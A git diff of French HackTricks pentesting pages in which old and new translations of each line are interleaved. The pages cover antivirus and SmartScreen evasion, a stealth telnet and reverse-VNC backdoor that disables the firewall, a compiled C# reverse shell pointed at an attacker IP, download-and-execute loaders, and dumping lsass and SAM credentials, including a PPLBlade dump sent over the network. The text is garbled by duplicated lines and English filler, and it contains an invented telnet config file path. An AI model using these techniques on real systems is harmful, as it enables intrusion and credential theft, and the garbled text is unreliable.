* [**obfy**](https://github.com/fritzone/obfy) : Ajoute une couche d'opérations obfusquées générées par le framework de méta-programmation des modèles C++, ce qui rendra la tâche de la personne voulant craquer l'application un peu plus difficile.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz est un obfuscateur binaire x64 capable d'obfusquer différents fichiers PE, y compris : .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame) : Metame est un moteur de code métamorphique simple pour les exécutables arbitraires.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator) : ROPfuscator est un cadre d'obfuscation de code à grain fin pour les langages pris en charge par LLVM utilisant ROP (programmation orientée retour). ROPfuscator obfuscate un programme au niveau du code d'assemblage en transformant les instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt) : Nimcrypt est un crypteur .NET PE écrit en Nim
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator) : ROPfuscator est un framework d'obfuscation de code à grain fin pour les langages supportés par LLVM utilisant la programmation orientée retour (ROP). ROPfuscator obfusque un programme au niveau du code assembleur en transformant les instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt) : Nimcrypt est un crypteur .NET PE écrit en Nim.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor est capable de convertir des EXE/DLL existants en shellcode, puis de les charger.
## SmartScreen & MoTW
Vous avez peut-être vu cet écran lors du téléchargement de certains exécutables sur Internet et de leur exécution.
Vous avez peut-être vu cet écran lors du téléchargement de certains exécutables depuis Internet et de leur exécution.
Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à protéger l'utilisateur final contre l'exécution d'applications potentiellement malveillantes.
<figure><img src="../.gitbook/assets/image (1) (4).png" alt=""><figcaption></figcaption></figure>
SmartScreen fonctionne principalement avec une approche basée sur la réputation, ce qui signifie que les applications téléchargées de manière peu commune déclencheront SmartScreen, alertant ainsi et empêchant l'utilisateur final d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur Plus d'informations -> Exécuter quand même).
SmartScreen fonctionne principalement selon une approche basée sur la réputation, ce qui signifie que les applications téléchargées de manière peu courante déclencheront SmartScreen, alertant ainsi l'utilisateur final et l'empêchant d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur Plus d'informations -> Exécuter quand même).
**MoTW** (Mark of The Web) est un [flux de données alternatif NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) avec le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, ainsi que l'URL à partir de laquelle il a été téléchargé.
**MoTW** (Mark of The Web) est un [flux de données alternatif NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) portant le nom de Zone.Identifier, qui est créé automatiquement lors du téléchargement de fichiers depuis Internet, avec l'URL à partir de laquelle ils ont été téléchargés.
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>Vérification du flux de données alternatif Zone.Identifier pour un fichier téléchargé depuis Internet.</p></figcaption></figure>
@ -250,11 +250,11 @@ SmartScreen fonctionne principalement avec une approche basée sur la réputatio
Il est important de noter que les exécutables signés avec un certificat de signature **fiable** ne déclencheront pas SmartScreen.
{% endhint %}
Un moyen très efficace d'empêcher vos charges utiles d'obtenir la marque du Web est de les emballer dans une sorte de conteneur comme un ISO. Cela se produit parce que la marque du Web (MOTW) **ne peut pas** être appliquée aux volumes **non NTFS**.
Une façon très efficace d'empêcher vos charges utiles d'obtenir la marque de The Web est de les emballer dans un conteneur comme une ISO. Cela se produit parce que Mark-of-the-Web (MOTW) ne peut pas être appliqué aux volumes **non NTFS**.
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter la marque du Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter la marque de The Web.
Exemple d'utilisation :
```powershell
@ -278,55 +278,55 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
Voici une démonstration de contournement de SmartScreen en empaquetant des charges utiles à l'intérieur de fichiers ISO à l'aide de [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Voici une démonstration pour contourner SmartScreen en empaquetant des charges utiles à l'intérieur de fichiers ISO à l'aide de [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## Réflexion sur l'assemblage C#
Le chargement de binaires C# en mémoire est connu depuis un certain temps et c'est toujours un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par AV.
Le chargement de binaires C# en mémoire est connu depuis un certain temps et c'est toujours un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par les antivirus.
Étant donné que la charge utile sera chargée directement en mémoire sans toucher le disque, nous n'aurons à nous soucier que du patching AMSI pour l'ensemble du processus.
Étant donné que la charge utile sera chargée directement en mémoire sans toucher au disque, nous devrons seulement nous préoccuper de patcher AMSI pour l'ensemble du processus.
La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblages C# directement en mémoire, mais il existe différentes façons de le faire :
* **Fork\&Run**
Cela implique de **lancer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cela présente à la fois des avantages et des inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **en dehors** de notre processus d'implant de Beacon. Cela signifie que si quelque chose dans notre action de post-exploitation se passe mal ou est détecté, il y a une **beaucoup plus grande chance** que notre **implant survive.** L'inconvénient est que vous avez une **plus grande chance** de vous faire prendre par des **détections comportementales**.
Cela implique de **créer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cette méthode présente à la fois des avantages et des inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **en dehors** de notre processus d'implant Beacon. Cela signifie que si quelque chose se passe mal ou est détecté lors de notre action de post-exploitation, il y a **beaucoup plus de chances** que notre **implant survive**. L'inconvénient est que vous avez **plus de chances** de vous faire prendre par des **détections comportementales**.
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
* **Inline**
Il s'agit d'injecter le code malveillant de post-exploitation **dans son propre processus**. De cette façon, vous pouvez éviter de créer un nouveau processus et de le faire scanner par AV, mais l'inconvénient est que si quelque chose ne va pas avec l'exécution de votre charge utile, il y a une **beaucoup plus grande chance** de **perdre votre beacon** car il pourrait planter.
Il s'agit d'injecter le code malveillant de post-exploitation **dans son propre processus**. De cette façon, vous pouvez éviter de créer un nouveau processus et de le faire analyser par l'antivirus, mais l'inconvénient est que si quelque chose ne va pas avec l'exécution de votre charge utile, il y a **beaucoup plus de chances** de **perdre votre beacon** car il pourrait planter.
<figure><img src="../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Si vous voulez en savoir plus sur le chargement d'assemblages C#, consultez cet article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) et leur BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Si vous souhaitez en savoir plus sur le chargement d'assemblages C#, veuillez consulter cet article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) et leur BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
{% endhint %}
Vous pouvez également charger des assemblages C# **à partir de PowerShell**, consultez [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) et [la vidéo de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Utilisation d'autres langages de programmation
Comme proposé dans [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise l'accès **à l'environnement d'interpréteur installé sur le partage SMB contrôlé par l'attaquant**.&#x20;
Comme proposé dans [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise un accès **à l'environnement de l'interpréteur installé sur le partage SMB contrôlé par l'attaquant**.&#x20;
En permettant l'accès aux binaires d'interpréteur et à l'environnement sur le partage SMB, vous pouvez **exécuter du code arbitraire dans ces langages en mémoire** de la machine compromise.
En permettant l'accès aux binaires de l'interpréteur et à l'environnement sur le partage SMB, vous pouvez **exécuter du code arbitraire dans ces langages en mémoire** de la machine compromise.
Le dépôt indique : Defender scanne toujours les scripts, mais en utilisant Go, Java, PHP, etc., nous avons **plus de flexibilité pour contourner les signatures statiques**. Les tests avec des scripts de shell inversé aléatoires non obfusqués dans ces langages ont été concluants.
Le dépôt indique : Defender analyse toujours les scripts, mais en utilisant Go, Java, PHP, etc., nous avons **plus de flexibilité pour contourner les signatures statiques**. Les tests avec des scripts de shell inversé aléatoires non obfusqués dans ces langages ont été concluants.
## Évasion avancée
L'évasion est un sujet très compliqué, parfois vous devez prendre en compte de nombreuses sources de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures.
L'évasion est un sujet très complexe, parfois vous devez prendre en compte de nombreuses sources différentes de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures.
Chaque environnement contre lequel vous vous battez aura ses propres forces et faiblesses.
Chaque environnement que vous affrontez aura ses propres forces et faiblesses.
Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour avoir une prise de pied dans des techniques d'évasion plus avancées.
Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour vous familiariser avec des techniques d'évasion plus avancées.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
C'est aussi une autre excellente présentation de [@mariuszbit](https://twitter.com/mariuszbit) sur l'évasion en profondeur.
Il s'agit également d'une autre excellente présentation de [@mariuszbit](https://twitter.com/mariuszbit) sur l'évasion en profondeur.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
@ -338,40 +338,64 @@ Jusqu'à Windows10, tous les Windows étaient livrés avec un **serveur Telnet**
```
pkgmgr /iu:"TelnetServer" /quiet
```
Faites-le **démarrer** lorsque le système est démarré et **exécutez-le** maintenant :
Faites en sorte qu'il **démarre** lorsque le système démarre et **exécutez-le** maintenant:
```
sc config TlntSVR start= auto obj= localsystem
```
**Changer le port telnet** (furtif) et désactiver le pare-feu :
**Changer le port telnet** (furtif) et désactiver le pare-feu:
```plaintext
To change the default telnet port, follow these steps:
1. Open the telnet configuration file. On Windows, the file is located at `C:\Windows\System32\drivers\etc\telnetd.conf`.
2. Look for the line that specifies the port number. By default, it is set to `23`.
3. Change the port number to a different value, such as `8080`.
4. Save the changes and close the file.
To disable the firewall, follow these steps:
1. Open the Windows Firewall settings.
2. Click on "Turn Windows Firewall on or off".
3. Select the option to turn off the firewall for both private and public networks.
4. Save the changes and close the settings.
Remember that changing the telnet port and disabling the firewall can make your system more vulnerable to attacks. It is important to consider the security implications before making these changes.
```
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Téléchargez-le à partir de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements binaires, pas l'installation)
Téléchargez-le depuis : [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements binaires, pas l'installation)
**SUR L'HÔTE**: Exécutez _**winvnc.exe**_ et configurez le serveur:
**SUR L'HÔTE** : Exécutez _**winvnc.exe**_ et configurez le serveur :
* Activer l'option _Désactiver TrayIcon_
* Définissez un mot de passe dans _VNC Password_
* Définissez un mot de passe dans _View-Only Password_
* Activez l'option _Désactiver TrayIcon_
* Définissez un mot de passe dans _Mot de passe VNC_
* Définissez un mot de passe dans _Mot de passe en lecture seule_
Ensuite, déplacez le binaire _**winvnc.exe**_ et le fichier nouvellement créé _**UltraVNC.ini**_ à l'intérieur de la **victime**
#### **Connexion inversée**
L'**attaquant** doit **exécuter à l'intérieur** de son **hôte** le binaire `vncviewer.exe -listen 5900` afin qu'il soit **prêt** à attraper une **connexion VNC inversée**. Ensuite, à l'intérieur de la **victime**: Démarrez le démon winvnc `winvnc.exe -run` et exécutez `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
L'**attaquant** doit **exécuter à l'intérieur** de son **hôte** le binaire `vncviewer.exe -listen 5900` afin qu'il soit **prêt** à capturer une connexion **VNC inversée**. Ensuite, à l'intérieur de la **victime** : démarrez le démon winvnc `winvnc.exe -run` et exécutez `winwnc.exe [-autoreconnect] -connect <adresse_ip_attaquant>::5900`
**ATTENTION:** Pour maintenir la discrétion, vous ne devez pas faire certaines choses
**AVERTISSEMENT** : Pour maintenir la discrétion, vous ne devez pas faire certaines choses
* Ne démarrez pas `winvnc` s'il est déjà en cours d'exécution ou vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/1SROTTl.png). Vérifiez s'il est en cours d'exécution avec `tasklist | findstr winvnc`
* Ne démarrez pas `winvnc` sans `UltraVNC.ini` dans le même répertoire ou cela provoquera l'ouverture de [la fenêtre de configuration](https://i.imgur.com/rfMQWcf.png)
* Ne lancez pas `winvnc -h` pour obtenir de l'aide ou vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/oc18wcu.png)
* Ne démarrez pas `winvnc` s'il est déjà en cours d'exécution, sinon vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/1SROTTl.png). Vérifiez s'il est en cours d'exécution avec `tasklist | findstr winvnc`
* Ne démarrez pas `winvnc` sans `UltraVNC.ini` dans le même répertoire, sinon cela ouvrira [la fenêtre de configuration](https://i.imgur.com/rfMQWcf.png)
* Ne lancez pas `winvnc -h` pour obtenir de l'aide, sinon vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/oc18wcu.png)
### GreatSCT
Téléchargez-le à partir de: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
Téléchargez-le depuis : [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -379,25 +403,35 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
# Contournement des antivirus
À l'intérieur de GreatSCT :
Lors de la création d'un payload, il est important de s'assurer qu'il ne sera pas détecté par les antivirus. Les antivirus utilisent des signatures pour détecter les malwares, il est donc important de modifier le payload pour qu'il ne corresponde pas à ces signatures.
## Bypassing Antivirus (AV)
## Encodage
Lors de la réalisation de tests de pénétration, il est souvent nécessaire de contourner les logiciels antivirus (AV) pour exécuter des charges utiles sans être détecté. Les AV utilisent des signatures et des heuristiques pour identifier les logiciels malveillants, ce qui peut rendre difficile l'exécution de codes malveillants sans être détecté.
L'encodage est une technique courante pour contourner les antivirus. Il s'agit de modifier le payload en utilisant un algorithme d'encodage pour qu'il ne corresponde plus à la signature de l'antivirus. Il existe de nombreux outils pour encoder des payloads, tels que `msfvenom` et `Veil-Evasion`.
Il existe plusieurs techniques pour contourner les AV, et GreatSCT offre plusieurs options pour vous aider à y parvenir.
## FUD
### Encodage
FUD signifie "Fully Undetectable" (complètement indétectable). Il s'agit d'un état dans lequel le payload ne peut pas être détecté par les antivirus. Pour atteindre cet état, il est nécessaire de modifier le payload de manière à ce qu'il ne corresponde à aucune signature d'antivirus connue. Cela peut être réalisé en utilisant des techniques d'encodage, de cryptage et de polymorphisme.
L'encodage est une technique couramment utilisée pour contourner les AV. Il consiste à modifier le code malveillant en utilisant des algorithmes d'encodage pour masquer sa véritable nature. GreatSCT propose plusieurs options d'encodage, notamment Base64, Hex, et URL.
## Polymorphisme
### Cryptage
Le polymorphisme est une technique qui consiste à modifier le code du payload à chaque exécution, de sorte qu'il ne corresponde pas à la signature de l'antivirus. Cette technique est très efficace pour contourner les antivirus, car elle rend le payload unique à chaque exécution.
Le cryptage est une autre technique efficace pour contourner les AV. Il consiste à chiffrer le code malveillant à l'aide d'un algorithme de chiffrement, ce qui rend difficile sa détection par les AV. GreatSCT prend en charge le cryptage AES pour vous aider à contourner les AV.
## Conclusion
### Polymorphisme
Le contournement des antivirus est un aspect important de la création de payloads. Les techniques d'encodage, de FUD et de polymorphisme sont toutes efficaces pour atteindre cet objectif. Il est important de tester le payload avec plusieurs antivirus pour s'assurer qu'il est indétectable avant de l'utiliser dans une attaque.
Le polymorphisme est une technique avancée qui consiste à modifier dynamiquement le code malveillant à chaque exécution, ce qui rend difficile sa détection par les AV. GreatSCT propose des options de polymorphisme pour vous aider à créer des charges utiles uniques à chaque exécution.
### Furtivité
La furtivité est une caractéristique importante lors de la création de charges utiles pour contourner les AV. GreatSCT offre des fonctionnalités pour vous aider à rendre vos charges utiles furtives en évitant les détections basées sur les signatures et les heuristiques des AV.
### Tests d'AV
GreatSCT propose également des fonctionnalités pour tester vos charges utiles contre différents AV. Cela vous permet de vérifier l'efficacité de vos techniques de contournement et de vous assurer que vos charges utiles ne sont pas détectées par les AV.
En utilisant les fonctionnalités de contournement des AV de GreatSCT, vous pouvez créer des charges utiles efficaces et furtives pour vos tests de pénétration.
```
use 1
list #Listing available payloads
@ -413,7 +447,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Le défenseur actuel va terminer le processus très rapidement.**
### Compiler notre propre shell inversé
### Compilation de notre propre shell inversé
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
@ -423,7 +457,7 @@ Compilez-le avec:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
Utilisez-le avec:
Utilisez-le avec :
```
back.exe <ATTACKER_IP> <PORT>
```
@ -501,10 +535,14 @@ catch (Exception err) { }
```
[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
### Utilisation de C# pour le compilateur
### C# en utilisant le compilateur
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
Téléchargement et exécution automatiques :
```csharp
64bit:
@ -525,7 +563,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
```
[https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
Merlin, Empire, Puppy, SalsaTools [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
[https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
@ -568,10 +606,10 @@ https://github.com/praetorian-code/vulcan
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

385
windows-hardening/basic-powershell-for-pentesters/README.md
View file

File diff suppressed because one or more lines are too long

72
windows-hardening/stealing-credentials/README.md
View file

@ -59,7 +59,7 @@ mimikatz_command -f "lsadump::sam"
### Procdump + Mimikatz
Comme **Procdump de** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**est un outil légitime de Microsoft**, il n'est pas détecté par Defender.\
Comme **Procdump de** [**SysInternals**](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**est un outil légitime de Microsoft**, il n'est pas détecté par Defender.\
Vous pouvez utiliser cet outil pour **extraire le processus lsass**, **télécharger le dump** et **extraire** les **informations d'identification localement** à partir du dump.
{% code title="Extraire lsass" %}
@ -110,19 +110,25 @@ Nous devons simplement garder à l'esprit que cette technique ne peut être exé
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
```
CrackMapExec is a powerful tool used for various hacking techniques. One of its capabilities is the ability to dump SAM hashes. SAM (Security Account Manager) is a database file in Windows that stores user account information, including password hashes.
## Dumpin lsass avec PPLBlade
To dump SAM hashes using CrackMapExec, you can use the following command:
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) est un outil de dumping de processus protégé qui prend en charge l'obfuscation des fichiers de vidage de mémoire et leur transfert sur des postes de travail distants sans les déposer sur le disque.
**Fonctionnalités clés**:
1. Contournement de la protection PPL
2. Obfuscation des fichiers de vidage de mémoire pour échapper aux mécanismes de détection basés sur les signatures de Defender
3. Téléchargement du vidage de mémoire avec les méthodes de téléchargement RAW et SMB sans le déposer sur le disque (vidage sans fichier)
{% code overflow="wrap" %}
```bash
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
```
crackmapexec <target> -u <username> -p <password> --sam
```
{% endcode %}
Replace `<target>` with the IP address or hostname of the target machine. `<username>` and `<password>` should be replaced with valid credentials for authentication.
## CrackMapExec
This command will initiate the dumping process and retrieve the SAM hashes from the target machine. These hashes can then be used for further analysis and potential password cracking.
It is important to note that dumping SAM hashes without proper authorization is illegal and unethical. This technique should only be used for legitimate purposes, such as penetration testing or authorized security assessments.
### Extraire les hachages SAM
```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
```
@ -134,7 +140,7 @@ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Le vol des secrets LSA est une technique couramment utilisée pour extraire les informations d'identification stockées localement sur un système Windows. Les secrets LSA (Local Security Authority) sont des données sensibles telles que les mots de passe enregistrés, les clés de chiffrement et les jetons d'authentification.
Cette technique consiste à extraire les secrets LSA à partir de la mémoire du système, ce qui permet aux attaquants d'accéder aux informations d'identification des utilisateurs et de les utiliser pour compromettre davantage le système.
Cette technique consiste à extraire les secrets LSA à partir de la mémoire du système, ce qui permet aux attaquants d'accéder aux informations d'identification des utilisateurs et de les utiliser pour compromettre d'autres systèmes ou services.
#### Méthode
@ -148,21 +154,21 @@ Cette technique consiste à extraire les secrets LSA à partir de la mémoire du
Cette commande utilise l'outil Mimikatz pour extraire les secrets LSA à partir de la mémoire du système.
3. Les informations d'identification volées seront affichées dans la sortie de la commande. Recherchez les champs "Nom d'utilisateur" et "Mot de passe" pour obtenir les informations d'identification.
3. Les informations d'identification volées seront affichées dans la sortie de la commande. Notez que vous aurez besoin des privilèges d'administrateur pour exécuter cette commande avec succès.
#### Contre-mesures
Pour protéger les secrets LSA contre le vol, vous pouvez prendre les mesures suivantes :
Pour protéger vos systèmes contre le vol des secrets LSA, vous pouvez prendre les mesures suivantes :
- Mettez à jour régulièrement votre système d'exploitation avec les derniers correctifs de sécurité.
- Utilisez des mots de passe forts et uniques pour tous les comptes d'utilisateur.
- Utilisez des mots de passe forts et changez-les régulièrement.
- Activez la fonctionnalité de chiffrement du disque pour protéger les données sensibles.
- Limitez les privilèges d'administrateur aux utilisateurs autorisés uniquement.
- Utilisez des outils de détection d'intrusion pour surveiller les activités suspectes sur le système.
- Utilisez des outils de détection d'intrusion pour surveiller les activités suspectes sur votre réseau.
- Restreignez les privilèges d'accès aux comptes d'utilisateur pour limiter les possibilités d'exploitation.
- Mettez en œuvre des solutions de chiffrement pour protéger les données sensibles.
---
@ -178,33 +184,33 @@ Pour extraire le fichier NTDS.dit du contrôleur de domaine cible (DC), vous pou
### Extracting Hashes from NTDS.dit
Once you have obtained the NTDS.dit file, you can extract the password hashes stored within it. These password hashes can be cracked or used for further attacks, such as pass-the-hash or password spraying.
Once you have obtained the NTDS.dit file, you can extract the password hashes stored within it. These password hashes can be cracked or used for further attacks, such as pass-the-hash attacks.
Une fois que vous avez obtenu le fichier NTDS.dit, vous pouvez extraire les empreintes de mots de passe qui y sont stockées. Ces empreintes de mots de passe peuvent être craquées ou utilisées pour d'autres attaques, telles que le pass-the-hash ou le password spraying.
Une fois que vous avez obtenu le fichier NTDS.dit, vous pouvez extraire les empreintes de mots de passe qui y sont stockées. Ces empreintes de mots de passe peuvent être craquées ou utilisées pour d'autres attaques, telles que les attaques pass-the-hash.
### Cracking Password Hashes
To crack the password hashes extracted from the NTDS.dit file, you can use tools like `hashcat` or `John the Ripper`. These tools utilize various cracking techniques, such as dictionary attacks or brute-force attacks, to recover the original passwords.
To crack the password hashes extracted from the NTDS.dit file, you can use tools like `John the Ripper` or `Hashcat`. These tools utilize various techniques, such as dictionary attacks or brute-force attacks, to crack the passwords.
Pour craquer les empreintes de mots de passe extraites du fichier NTDS.dit, vous pouvez utiliser des outils tels que `hashcat` ou `John the Ripper`. Ces outils utilisent différentes techniques de craquage, telles que les attaques par dictionnaire ou les attaques par force brute, pour récupérer les mots de passe d'origine.
Pour craquer les empreintes de mots de passe extraites du fichier NTDS.dit, vous pouvez utiliser des outils tels que `John the Ripper` ou `Hashcat`. Ces outils utilisent différentes techniques, telles que les attaques par dictionnaire ou les attaques par force brute, pour craquer les mots de passe.
### Protecting NTDS.dit
To protect the NTDS.dit file and prevent unauthorized access, it is crucial to implement proper security measures. Some recommended practices include:
To protect the NTDS.dit file and prevent unauthorized access, it is important to implement proper security measures. Some recommended measures include:
- Regularly patching and updating the Domain Controllers to mitigate vulnerabilities.
- Regularly patching and updating the Domain Controllers to ensure they are running the latest security updates.
- Implementing strong password policies and enforcing regular password changes.
- Limiting administrative privileges and implementing the principle of least privilege.
- Monitoring and auditing the access to the NTDS.dit file.
- Encrypting the NTDS.dit file using technologies like BitLocker.
- Implementing intrusion detection and prevention systems to detect and prevent unauthorized access attempts.
Pour protéger le fichier NTDS.dit et empêcher tout accès non autorisé, il est crucial de mettre en place des mesures de sécurité appropriées. Voici quelques pratiques recommandées :
Pour protéger le fichier NTDS.dit et empêcher tout accès non autorisé, il est important de mettre en place des mesures de sécurité appropriées. Voici quelques mesures recommandées :
